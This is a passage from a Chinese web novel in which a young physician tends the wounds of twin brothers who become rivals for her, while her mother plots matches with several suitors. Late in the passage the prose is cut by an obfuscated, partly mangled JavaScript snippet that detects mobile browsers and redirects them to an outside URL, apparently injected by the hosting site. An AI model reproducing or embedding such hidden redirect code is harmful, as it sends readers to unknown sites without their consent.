上首处的谢骧神色淡淡,似乎对他们提出的话题丝毫不感兴趣,还说了如此重话。 “殿下,现在天下大乱,诸侯并起,甚至流民都打着劫富济贫的名号攻城略地,殿下就算造反又如何?殿下出身正统,坐上那个位置也无人敢质疑。” “黄先生,他们造反是他们的事情,我若是反了,便是反我谢家自己门楣,等百年之后,又该如何面对列祖列宗。” 黄鸿年还要再说,谢骧的神色已经冷了下来,不欲再谈,挥挥手下了逐客令道:“先生们不嫌弃我是个残疾,愿意护送我从京城千里迢迢来到此处,我也定会保证让先生们过好余生。” 意思就是只能保证你们过的好,其他的想都别想。 黄鸿年明白谢骧的想法,如今等在他们面前的路只有安稳度过残生。可他甘心吗?在京城时便敛去锋芒,可依旧没有好下场。纵然是保住了性命,但失去双腿,他难道就不恨吗? 同时,黄鸿年也了解谢骧的性子,知道若是强行逼迫,恐怕会适得其反,于是他们退下,俱是心事重重的模样。 “黄先生,你怎么看?” 路上有幕僚小声询问,黄鸿年摇摇头:“徐徐图之。” 快走到大门时候,瞧见院门打开,有丫鬟迎了一个姑娘进来,虽打扮朴素,但样貌过人,迎面走来,言笑晏晏,芙蓉出水。 果然,能打动殿下的定然不是普通姑娘,就算是放在京城里也是排的上号的美人,更难得的是她身上有种天然去雕饰的美感,绝非庸脂俗粉。 那姑娘不认识他们,大概是见到黄鸿年他们人多,便垂手立在路边,想等他们过去了再走。 “你是……安大夫?” “我是。” 陌生慈祥的脸,不过安素雪不记得自己曾见过他。 “我是公子的属下,早就听闻安大夫的大名,我们公子还要劳烦安大夫费心了。” 黄鸿年作势要行礼,安素雪受宠若惊,连忙侧身避开,快速道:“这都是我该做的。” 只是一个小插曲罢了,安素雪并未往心里去,在见到谢骧的时候,她耐心解释这几日没来的原因。 “药材不够,所以这才晚了一天。” 那膏药也不用日日换,一贴可以贴三天,安素雪留了两副,其实可以用到今天的。 陈家发生的事,足不出户的谢骧一清二楚,也未多说,只让她换药。 期间有喵喵叫传来,安素雪正好已经给谢骧换好药了,不过他腿上的针还未拔下,瞧见那只滚地锦跑了过来,安素雪连忙挡在谢骧身前,生怕小猫不知分寸,碰到了谢骧。 单薄的身影挡在面前,谢骧勾着唇,十分受用。 安素雪没在深 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“它很喜欢你。”谢骧突然说话。 安素雪莞尔一笑:“是么?” “是,”谢骧定定的看着她眼睛,“很喜欢。” 滚地锦像是回应似的叫了两声,安素雪更加喜欢它,走的时候恋恋不舍。她一走,滚地锦也不在房间里呆着了,紧跟着出去,谢骧抬抬手,红袖立刻会意,直接将房门关上。 原本亮堂的房间变得阴暗烦闷,滚地锦似乎觉得不适,叫声变调,冷不防脖子被人抓住,动作粗鲁的被扔到了桌面上。 滚地锦想跑,被人一把捏住,只能后脚蹬地,可动弹不得,叫声越发凄厉。 “你应该谢谢我,”谢骧声音不轻不重,眼神晦暗,“若不是我允许,你没有接近她的机会。” 一只狸奴罢了,还能得她垂怜,已经是幸中之幸。 猫儿挣扎着呜喵叫唤,谢骧看它的后腿,不知道想到了什么,将猫儿放在地上,吩咐道:“来人,将它身上的药撤走。” 红袖和添香不明所以,谢骧抬眼,淡声道:“没听见?” “是,主子。” 红袖过来抱着猫儿,添香拆开纱布,后腿上的伤势已经差不多了,因此一拆开,那些药粉便扑簌簌的往下落,不用添香动手,便已经掉了十之八九。 红袖要将猫放下,添香道:“等等,我再把纱布缠上。” 猫儿一直嚎叫着,压根就没停下来过,红袖要抓不住它,连忙往外去,又叫了两个丫鬟帮忙按住。 四个人在房门口鸡飞狗跳,完全没有安素雪给猫上药时的从容不迫。 红袖急的脑门都是汗,忙不迭的请罪:“奴婢这就将狸奴带走,不扰主子清净。” “就在这,”谢骧手撑着额角,看的饶有趣味,“它倒是聪明。” 红袖道:“老话说‘谁养的像谁’,它聪慧也是因为像主子。” 说完抬眼看谢骧的反应,见他面露愉悦,唇角高高翘起。 “你也在等她的怜悯么?” 像他一样。 45. 第 45 章 药材如约送了过来,章掌柜管陈山要合约,说是两清。 “什么合约?” “你家那个二女儿亲手写的合约,各种条款,总而言之,若是我不将药材给你们,就要将我扭送官府!” 陈山自然不知道此事,便让章掌柜稍等,他回了后院,找到安素雪之后,才了解到她竟然独自去找章掌柜谈了。 “安安做的很好,”陈山十分欣慰,夸赞了几句,安杏花则是担忧,“安安啊,下次不许自己做这种事情,若是人家为难你,你一个小姑娘,该怎么办啊。” 安杏花忧心忡忡,安素雪连忙保证不会有下次,这才让操心的娘不说这个话题,但耳根子刚清净没一会,安杏花突然拍手。 “哎呦,我怎么把这么重要的事情忘了!安安,你快收拾药箱去隔壁,给罗文罗武看看伤势如何。今日早上他们出城去送酒,半路叫流民给拦住了,争执时候酒坛子打碎,我听他们娘的意思,应该是受了点皮外伤。” 安杏花颇为懊恼。“差点将大事忘了,安安,你快去瞧瞧。” 在安杏花开口的时候,安素雪便已经手脚麻利的收拾了,安杏花领着小竹子过来,压低声音道:“别忘了娘告诉你的事。” 安素雪后脊梁骨发麻,抢在安杏花再次开口前连忙回应。 “我知道的,娘,那我先过去了。” …… “还好伤口不深。”安素雪给罗武涂了药,又一圈圈的缠好纱布,最后打了个结扣,拉过他另外一只胳膊检查,大片的擦伤,刮出了红痕,没流血就不算严重,罗武说不用涂药,安素雪按住他的胳膊。 “要涂的,涂上好的更快,你别乱动,等给你涂完我还要给罗文哥看伤的。” 方才她进来后要看两人的伤势,结果罗文转过身说自己没事,让她先给罗武看,反正也得一个个的看,安素雪便先给凑过来的罗武包扎,同时也知道来龙去脉。 “没想到外面竟然乱成这样,流民都敢成帮结伙的抢劫了,官府怎么也不管管。” 罗武哼了哼:“官府向来不作为,就知道让士兵拦着流民不进来,那些也都是被战乱殃及的可怜人,也不知道走了多久才来到这。他们没地方睡觉没有饭吃,可不得闹事。” 安素雪道:“我听说城里的富户们自发的设了粥棚,说是过几日要开始施粥救济了。” 罗武:“他们那么有钱,又用不了多少米粮,还能落个好名声。” 俩人先前对话罗文一直不言语,这会儿难得开口:“城外的流民已经几十人了,且有越来越多的架势,若是不及时安抚好,恐怕会出乱子。” 罗武不认同,“能出什么乱子,反正也进不来。啊,不对,如果有百姓们出去,可能也会和我们今日一样,被围住打劫!” “所以城外越发危险,安安,你回去和婶子香玉说一声,近日就莫要出城了。” “好,我回去就说,好了,换罗文哥。”安素雪就在双生子的房间里,他们的房间有两张床榻,安素雪便坐在中间,给右边的罗武包扎好后,转过身来,准备给罗文处理伤势。 他们是被流民冲的倒在地上,酒坛子碎了一地,不小心被扎伤的。剩下的几坛子完好无损的酒,自然是被流民们一哄而抢。 罗武现在还在生气,握紧拳头说道:“我要去把酒抢回来!” 罗文皱眉:“莫要孩子气,几坛子酒,被抢就当丢了,你若是前去所要,定会吃亏。” 罗武不服,尤其是在喜欢的人面前,最为不喜这样被大哥教训,于是道:“我那是没有准备,我若准备好,没人能从我手上抢东西。” 这话说的倒也不错。 罗家兄弟打小就干活,练了一身的腱子肉,力气比寻常人大,如果不是顾忌对方人多,还有老人妇女,他们自然会还手。 罗文还欲要阻拦,就听安素雪突然发声。 “罗文哥,你的伤势怎么如此严重?为何不早点告诉我。” 碎裂的陶片刺进小臂,似乎他自己处理过,但血肉模糊,所以还有一些碎瓷没弄出来,安素雪下意识的蹙眉,罗文心中一紧。 “安安,不碍事。”罗文出声宽慰。 安素雪有点恼。 身为医者,她最是不喜病患不拿自己的身体当回事,嘴上说着无事无事,最后病情严重,甚至还有拖累的变成不治之症的病人。 “碎片扎在你的伤口里,先不说这样有碍于伤口的恢复,且说若是有碎片扎的深了,那么你恢复之后存留在身体里怎么办?” 罗文意识到她不高兴了。 “安安……” “好,我们就说就算你把碎片都取出来了,可是你知道你的伤口有多深吗?一个处理不好感染化脓,到时候你这条胳膊都保不住。” 安素雪越说越严肃,想到了去年曾见过的一个病人就是如此,全身高热不退,胳膊里的铁钉化脓,后来半条胳膊腐烂,为了保命直接截肢了。 如果罗文变成这样怎么办? “安安,对不起。” 罗文身量比她高,坐下后能看见姑娘逐渐发红的眼睛,尽管她低着头,可他还是看见她垂泪欲滴的模样,楚楚可怜,引的他心口疼。 “大哥,你怎么惹安安生气!”罗武先不乐意了,站起来安抚安素雪。 “我没事,罗武你别在这站着,挡光了。” 罗武讪讪的哦了一声,连忙退后一步,想了想又坐回去。 这边安素雪已经开始清理伤口了,她身子前倾弯着腰,贴近罗文的胳膊,先是小心翼翼的将污血擦干净,然后挑里面的碎陶片。 酒坛子用的都是粗陶,清理起来倒是不麻烦,就是有一片嵌入肌理,不太好弄。 “正好扎在血管上,”安素雪面色极为严肃,“应当先给你处理伤口的,现在有点麻烦。” 安素雪拿纱布沾了止血的药粉,道:“一会可能会很疼。” 罗文故作轻巧:“安安你尽管放手做便是。” 果然,是疼的。 但罗文只是皱了下眉头,甚至在安素雪问疼不疼的时候,他还说不疼。血流如注,安素雪动作利落的处理好了伤口,不过一块止血的纱布很快就被浸透,她只得再换一块。 “你不能坐着,躺下。” 屋里三个人,双生子年岁比她大,但治疗病人的安素雪却像是主心骨,她让他们做什么,他们便做什么。 “罗武,你去菜市场买一副肝回来,给罗文哥煮汤喝。” 地上染血的纱布扔了好几块,罗武也着急,忙不迭的应下走了。 屋里便只有他们二人,罗文突然生出一股不自在来。 “罗文哥,这次有多危险你知道吗?” 总算不流血了,安素雪悬着的心落了下来,她也没顾上擦拭自己手上的血,先和罗文说话。 “如果再发生这种情况,你该第一时间来找我,而不是自己忍着。” 她素来不会抱怨亦或者数落别人,这是第一次。难得发火的安大夫,一直碎碎念着,说来说去,都是因为担心罗文。 罗文眼睛漾出笑意,面上却是一本正经,丝毫不叫旁人看出来他的情绪变化。 他答应过罗武,不会再喜欢安安了。 在知道安素雪来给他们治疗后,罗文非常识趣,不和罗武争抢,让他排第一个,自顾自的认为弟弟在安安那里,是比自己更重要的。 可内心深处里有一个声音,在安素雪背身对着他时,叫嚣着喊:看看我,安安,也看看我吧! 膨胀翻涌的情绪犹如潮汐,在罗文的眼睛里变幻着,他握紧拳头,指甲深深扣住手心,才不叫自己泄露一丝一毫对安素雪的情感。 “嗯,我知道了。” 安素雪拿来干净的纱布给他擦拭胳膊和流淌在手上的血,忽然发现他胳膊起了青筋。 “你胳膊干嘛用力!快放松,否则又要流血!” 罗文松开了手,别过头不再看她。 “罗文哥,你最近很奇怪。”安素雪突然说了这么一句。 罗文心头一跳。“有吗?” 他自认隐藏的很好,不会叫任何人看出端倪,他答应过弟弟,必须要遵守承诺。 “有啊,就是觉得你好像也不爱和我说话了,也不去找我,难不成是我哪里做的不好,惹你不高兴了?” “自然没有,可能是最近太忙了。”罗文压着狂如鼓擂的心跳,胡乱的编了个理由。 诚恳的双生子,不擅长撒谎。 罗文垂着眼睫,冷不防被安素雪贴着看了过来。 清丽秀美的脸庞忽地靠近,她身上的独特香气袭来,盖住了屋里的血腥气,像是丝丝缕缕的藤蔓似的,往他身上缠绕,越缠越紧。 罗文倏地有些喘不过来气,声音低沉了几分。“安安,你……你做什么?” 他躺着,安素雪则是站着弯腰贴近,直直的看着他眼睛。 “自然是看你有没有骗我。” 她生的好看,罗文一直都知道,尤其是这双眼睛,比罗家最醇的酒液还要干净,清澈的不沾染一丝杂质。 “我不会骗你。” “真的?” 罗文突然闭口不应。 “ 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出生起就开始穿一样的衣服,后来大一些,罗父买了两个颜色的拨浪鼓,结果两个小孩俱是嚎啕大哭,直到罗父又去街上买了两个,四个拨浪鼓,红绿各两个,每次玩的话必须给哥哥弟弟一样颜色,否则会哭的人脑瓜子疼。 再大一些会说话了,罗母领着他们出门,街坊邻居见人就夸,说两个小家伙长的真好。 这没什么,最怕兄弟俩前后脚过来,有人先夸了前面那个,后面的立刻坐地大哭,就算那人过来夸一样的话也没用。 问为何?自然是因为他还没走到和另一位双生子同样的地方,不是一个地方,就算夸赞的话是一样也不成。 甚至兄弟俩狗,狗都不可以动,因为怕另一个人摸不到一样姿势的狗。 这些年好像都是如此,长大一些后,罗文更加让着弟弟,因此兄弟俩也越发的融洽了。 罗母笑着道:“一会我炒几个菜,你进屋告诉安安,让她晌午在咱家吃。” 罗武高兴的应了一声。 这番谈话屋里听得清清楚楚,罗文便随口说了一句言不由衷的话,将自己真正想说的话咽了回去。 一顿饭吃完,罗武去送安素雪离开,回来之后忍不住用怀疑的眼神看罗文。 “你和安安说什么了?” “什么?” “别装了,刚才我送安安到门口时候,她问我你怎么了,说是你有话跟她说,但没说明白。” 罗武觉得有股火窜了上来。“你之前明明答应我,不会告诉安安的,你是不是想告诉她?” “没有。”罗文直接否认。 可不管罗文怎么说,罗武就是不信。 也是,他猜对了一部分,事实确实是他想的那样,但罗文不可能说出口。他就沉默的坐在椅子上,任由罗武大喊。 这边闹出的动静引来了罗家父母,俩人进屋后也不用问缘由,直接将罗武训斥一顿,叫他学学他大哥,明明是一天出生的,但你大哥比你懂事。 这话更让罗武生气。 “你们一直都是这样觉得,认为我什么都比不过我大哥!” “臭小子,发什么脾气?”罗母顺手打了他一下,也不知道是怎么回事,罗武竟然气的转身跑了。 “胆肥了,打你一下都不行!臭小子,看你回来老娘怎么收拾你。” 市井里的老板娘都没有吃素的主儿,罗母两只手叉着腰,大有小时候放言要打烂罗武屁股的架势,可只是说说罢了,刀子嘴豆腐心。 罗武下午就回来了,而后闭门不出。 “你和你弟弟怎么了?吵架了?” 一直沉默寡言的罗父询问,父子俩在酿酒房里,罗父不让他动手,说他伤势没好,但罗文坚持要过来,否则他自己更容易胡思乱想。 “没有,就是闹了点小矛盾。”顿了顿,罗文忽然的补了句,“爹,当大哥的,是不是要一直让着弟弟?不管什么?” 罗父停下手里的活,抬头对儿子道:“小时候怕你们俩打架,所以才叫你吃亏,多让着弟弟。但现在不一样了,你们都长大了,想要的东西大可以自己去挣,都是大人了,也不用谁让着谁,你也不必再迁就他,若你往后不在他身边,旁人还能像你这般让着他吗?自然是不能的,他也该长大了。” 罗文凑过去,将酒曲递给父亲。 罗父语重心长道:“长大了,成家立业,娶妻生子,该做什么,该怎么做,你心中有数。” 罗文心中一跳,抬头看父亲,就见他一脸了然,似乎什么都知道。 “爹。” “好了,你心中早有决断,想做便去做。” 46. 第 46 章 “罗武擦伤多,罗文哥受伤严重一些,不过已经处理好了。” 安素雪回去后,安杏花询问双生子的情况,她便如实禀告。安杏花笑道:“安安医术了得,娘相信你会处理好他们的伤势,不过,安安啊,你可有按照娘的办法做?” 见安素雪面色一僵,安杏花便知道她没照做。 安杏花抬头看了一眼,院子里陈山正在晾晒药材,陈香玉在前院看着铺子,小竹子就在她们身边蹲着玩木棍,反正小孩子也听不懂,她便直接压低了声音道:“娘不是说了么,拿捏男人其实很简单的,你只要说两句好听的,就很容易让他们高兴。” “娘,我不知道该怎么说。” 这是实话,安素雪小时候就是闷葫芦的性子,长大后好一些,不过也只会在看诊时候和病患多说两句,更多时候是默默做事。 安杏花叹了口气,心想自己一双儿女,恐怕都不像自己。 “那还不简单,他们若是在干活,你就夸能干有力气;若是出汗了,你就递毛巾倒茶水;若是出了什么主意,你就说聪明想的周到!” 提到这些,安杏花简直就是信手拈来,滔滔不绝。 只不过安素雪听着听着,就觉得桩桩件件怎么如此的熟悉。这难道不就是娘和陈叔的相处日常吗? 安杏花最后说的口干舌燥,安素雪识趣的递上了一杯茶水,润喉之后安杏花问:“娘说的这些,你可都记住了?” 太多了其实都没大记住,不过安素雪连连点头,而后起身道:“娘,我想起来了,我得出去看诊,快要到时辰了。” “哎哎,那你赶紧准备去吧,莫要耽误人家看病。” 安素雪拎着药箱子就走了,安杏花洋洋得意坐在躺椅上晒太阳,觉得女儿聪慧肯定能学会她教的办法,这四个贵人啊,哪个都跑不了! 晒好药材的陈山看见安素雪离开,念叨一句:“不是下午才要出去看诊吗?” …… 外面太乱流民众多已经拉帮结派,官府又没法处置这些流民,因此百姓们大多不敢出城。 可外面村庄里的百姓要进城买东西,城内的百姓总有出去的需求,事情开始变得棘手。 城门口处每日都挤着不少流民,官府加派士兵封锁城门,拿着长刀剑的士兵守在城门外,保管无关人等进不来。 季飞白告诉安杏花,说尽量不要出城,若是她想出城上香去,可提前告诉他,他保护她们出去。 “那我便不出门了,”安杏花虽然觉得十五不去上香有点可惜,但还是认为安全最重要,“你一个人,怎么能抵挡住那么多人,万一受伤就糟糕了。” 自己孩子也如季飞白这般年纪,纵使他们都已经是大人,但安杏花看他也如孩子似的,脑子里早就忽略了季飞白会功夫,每日练剑的事情。 “无妨,婶子若是需要尽管告诉我。” 他最近从家走的晚,能吃个早饭,但晚上回来的也晚。出门时候正好和安素雪一起。 “出去看诊?”季飞白先和她说话。 俩人好像已经有数日不曾说过话了,一大家人坐在一起吃饭,食不言寝不语。吃完饭季飞白收拾一番就走了,等到晚上安素雪睡着他才回来,因此也没什么机会。 “嗯,去给罗文哥和罗武上药,他们前些日子出城受伤了。” 季飞白侧过头看她,扬起眉梢,意味深长道:“没发生什么特别的事情?” “什么事情?”安素雪不明所以。 清澈的眼睛一看就不谙世事,更遑论男女之情。季飞白觉得罗家兄弟受难的日子在后面,他非常期待会发生什么有趣的事情。 “没什么,你去忙吧。” 这人,说话怎么没头没尾。 去了罗家,罗母照旧坐在店铺里嗑瓜子,见到安素雪笑眯眯的打招呼,安素雪乖巧懂事,罗母怎么看怎么好,等到她往后院去,罗母还和罗父念叨:“哎,你说安安怎么样?就比我们家两个臭小子小一岁,年龄合适,知根知底的,又是青梅竹马一起长大。” 罗母越说越美,“离得这般近,往后两家也有个照应,真不错!” 她还欲要再说的时候,正在搬酒坛子的罗父默默放下东西,幽幽说道:“给哪个儿子说亲?” “啊?这我还没想到。”说完,她也想起来双生子的毛病了,小时候就喜欢争抢一件东西,长大了应该还成吧? 罗父看透一切的眼神,叹气摇头。 “一切随缘。” 知子莫若父,此刻房间里就弥漫着一股安素雪看不出的硝烟。 罗武倒是让她先给罗文看诊了,不过他就立在一旁,眼睛直勾勾的盯着他们,盯的安素雪心生奇怪,抬头看他。 “你杵在这里做什么?” 罗武道:“看看有什么需要我帮忙。” “还真有,你去帮我打一盆水,最好是热水。” 罗武幽怨的哦了一声,到底去了。他的伤势不算严重,自然不用热水,是罗文的伤口需要。 现在天气热,伤口一个没注意就容易化脓,安素雪明明告诉过他不许碰水,但伤口还是恶化了。 “我大哥没碰水啊,可小心了。”罗武直言。 安素雪蹙眉:“那就怪了,按理说不碰水不会化脓才是。” 不管如何,总得先处理好才是,安素雪手脚麻利的挤出脓水,过程很疼但罗文一声不吭,处理好后洒了药粉,三天之后再换药就成。 处理完罗文,安素雪擦了把汗,叫罗武坐下给他看伤口。罗武有点吃味,觉得自己不是安素雪心里第一个在意的人,处理伤口时候不配合,惹的安素雪竖眉道:“乱动什么?” 罗武更加委屈,方才她都没训斥大哥,怎么到他这里就分外脾气不好了。 “安安,我胳膊疼。”罗武开始卖惨。 “哪里疼?怎么各疼法?”安素雪紧张起来,从他胳膊往上开始捏,边捏边问:“这里疼吗?那这里呢?” 最后捏到擦伤附近,罗武没什么感觉,但他硬着头皮说有点疼。 “伤口附近肯定会有感觉,但你的伤势不严重,应该不至于很疼才是。”说到这,安素雪有点反应过来了,“你不会是装的吧?” 罗武当然是装的,看他又不会撒谎,不是两个字刚冒出来,就被安素雪识破了。 “你看你看,你耳朵红了,小时候你和大人撒谎时候就会耳朵红,所以每次都会被伯母发现,罗武,你骗我做什么。” 罗武满头大汗,不知道该怎么解释,难道要说他在吸引她的注意力吗? “确实有点疼。”罗武只能这样说。 幸好安素雪没继续追问,这件事也就翻篇了。 只是等她走了之后,罗武越想越心里不舒服,于是道:“方才你怎么不说话?” 罗文正在床榻上假寐,闻言眼睛都不曾睁开。 “要我说什么?” “帮我说话啊!你不是答应过我,要让安安喜欢我,嫁给我的吗?方才那种情形,你就该帮我说话了。” 罗文久久不作声,加上之前他的行为和表现,罗武开始怀疑罗文不帮他了。 罗武就是个直性子,索性直接问。 “你是不是不想帮我了?” “是。” 罗文开口,回答的干脆利落。 “你出尔反尔!” “你之前说让我帮你,我也是帮了,之前代替你去请安安看戏法一次,前一阵子留下换衣服假装你配安安听故事一次。可罗武,你没发现一点用处都没有吗?” 罗武是憨厚耿直,但他不是傻,一些事情其实他早就看到端倪,但只是不愿意相信罢了。就像是此刻,罗武不忿道:“你胡说!这才多久,要起作用也得需要时间!” 罗文摇头:“自欺欺人无用,从今天开始我不会再帮你。” 说着,他侧头看向罗武,目光坚定无比,一字一句:“我要和你公平竞争。” “你放屁!” 与之而来的还有罗武的拳头。 …… “还是没有消息吗?” “没收到消息,飞白,你再等等,若是有给你的信,他们会直接送过来的。” “按理来说该有回音了。”季飞白算了算日子,怎么算都觉得她娘该给他回信了。 世道乱了,陈山猜测季飞白也是担心老家乱起来,殃及父母。于是他出声宽慰道:“你父亲在当地做官,定会保护好家人,再说,边疆重地要塞,不见得会乱起来。” “但愿如此。” 可不知道为什么,季飞白心里惴惴不安,总觉得要发生什么。或许是近日收到太多消极消息的缘故,说是本朝各地都开始乱起来,如今富贵人家出门必须要请镖局保护,每日都是这样的消息,加之镖局的事情多,导致他草木皆兵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14922165|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈山见他忧心忡忡,又宽慰了几句,还让他晚上早点回来,说是做点好吃的给他补补。 “又消瘦不少。” 季飞白体重不轻,但他身量高,人看着高挑颀长,而且最近总是在烈日底下跑,皮肤比之前还要黑上一些,呈现一种焦糖蜜色,让异域的面孔更加俊俏几分,而且人看着也成熟不少。 “好,我今日会早点回来。” 已经成长为大人,谁对他好最是心里门清。 晚上临睡前,陈山还和安杏花说了此事。 “飞白看似年岁小,但成熟稳重心思缜密,他家里给来过消息的事情一定要藏住了,莫要让他知晓伤了心。” “我知道,”安杏花翻了个身,“孩子长得好,性格也不错,还文武双全,他家里这么就忍心作贱他。要是我孩子,巴不得好好养着,给我挣大出息呢。” 陈山笑了。“你想让小竹子给你挣大出息?” “想啊,想想还不成啊,等小竹子再大一点,我们就送他读书去,家里供的起就一直读,读到出人头地。” 陈山家底还算丰厚,又守着医馆,钱财源源不断滚滚来,给两个女儿成婚用的嫁妆也在每年添箱,保管风光大嫁。其实安杏花这里也存了私心,前几年和陈山商量说要给香玉准备嫁妆,就料定了陈山会让她将安素雪那份也准备出来,不是亲女,胜似亲女,安杏花也就满足了。 “两个女儿还能再留两年,但太久了不成,会被人家笑话是嫁不出去的老姑娘,等她们成婚后家里就剩下小竹子了,也不知道会不会孤单。” 当娘的就是这样,方才还雄心壮志想让儿子出人头地光宗耀祖,这么会就开始担心剩下他自己。 “嫁人也不嫁太远,你若是想了就叫她们回来,和小竹子也有个照应。” “你说的对。” 没一会陈山就睡着了,安杏花却睡不着,盘算着四个“贵人。” 罗家不用说了,就在跟前。谢家也不算远,走一条街就到了,至于季家嘛…… 安杏花觉得季家太远了,若是嫁过去岂不是几年才能见商一面?那可万万不行! 安杏花一颗心提了起来,彻夜难眠。 翌日早起,安杏花趁着屋里无人时和安素雪咬耳朵。 “安安啊,你觉得季飞白怎么样?” “挺好的。” 安杏花道:“娘也觉得挺好的,就是一点,家离的太远。” 她当然知道季飞白来自哪里,于是跟着点头。 安杏花愁容满面:“那么远,嫁过去了该怎么回娘家啊!” “娘,未免想的太远了,八字还没一撇的事情。” “怎么就没一撇了,你不懂娘可懂,哎,你说,到时候让飞白留在咱们这儿怎么样?” 这是安杏花昨晚一夜没睡想出来的办法,还是那封信给的启发。 既然季家人看不上季飞白,甚至不愿意承认他家里也容不下他,还把他遣送到这里,那是不是有可能让他一直在这。 也不用入赘,就留在本地成家立业多好啊,还有他们夫妻俩帮衬。 “将来生了孩子,娘也能帮你照料,不影响你行医问诊。” “娘!” 越说越远,而且安素雪听见一阵脚步声知道有人来了,赶忙出声呵止。 也是巧了,来的人竟然是季飞白 夏日屋里闷热,门窗都开着,季飞白敲了几下门,也没进来,就在门口站着。 长身玉立,英姿勃发。 “婶母,我今日不在家吃早饭了。” 声音有独特的声线,像是广袤草原扑面而来的春风拂过,带着说不清道不明的舒适感。 “哎,飞白啊,厨房有包子,你拿上几个路上吃,安安,你去给拿,多拿几个免得吃不饱。” 难得的相处机会,安杏花赶忙将安素雪推了出去,她只能起身,走出来去厨房。而季飞白跟在她身后进来,看着她从笼屉里捡包子,他歪靠在门框,双臂抱胸。 “方才你们在说我?” 安素雪一紧张包子没拿稳,季飞白动作飞快的过来接了满手。 “你的手可金贵,”季飞白咬了口包子,那双琥珀色的眸子里荡漾着笑意,“往后要一直行医问诊。” “季飞白你都听见了是不是?”安素雪恼羞成怒。 “哦?我听见什么了?你说说。”